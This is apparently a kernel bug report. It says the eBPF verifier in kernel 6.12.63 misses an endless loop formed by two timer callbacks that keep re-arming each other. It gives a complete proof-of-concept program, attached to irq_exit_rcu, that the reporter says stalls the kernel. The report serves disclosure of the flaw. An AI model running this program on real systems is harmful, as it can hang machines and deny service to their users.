Verifier misses infinite loop
Hi,
In kernel 6.12.63, the eBPF verifier allows an infinite loop, comprised of timer callbacks. This can in return stall the kernel if the bpf program is attached to something like irq_exit_rcu.
Example program:
-----
static int timer_callback(void);
static int timer_callback2(void);
struct elem {
struct bpf_timer t;
};struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 100);
__type(key, int);
__type(value, struct elem);
} what SEC(".maps");static int timer_callback() {
u32 key = 1;
struct elem *ele = bpf_map_lookup_elem(&what, &key);
if (ele==NULL)
return 0;
struct bpf_timer *timer = &ele->t;
bpf_timer_set_callback(timer, timer_callback2);
bpf_timer_start(timer, 0, 0);
return 0;}
static int timer_callback2() {
u32 key = 1;
struct elem *ele = bpf_map_lookup_elem(&what, &key);
if (ele==NULL)
return 0;
struct bpf_timer *timer = &ele->t;
bpf_timer_set_callback(timer, timer_callback);
bpf_timer_start(timer, 0, 0);
return 0;
}SEC("fentry/irq_exit_rcu")
int bpf_prog(void *ctx){
u32 key = 1;
struct elem *init;
bpf_map_update_elem(&what, &key, &init, BPF_ANY);
struct elem *ele = bpf_map_lookup_elem(&what, &key);
if (ele==NULL)
return 0;
struct bpf_timer *timer = &ele->t;
bpf_timer_init(timer, &what, 0);
bpf_timer_set_callback(&ele->t, timer_callback);
bpf_timer_start(timer, 0, 0);
return 0;
}char _license[] SEC("license") = "GPL";
----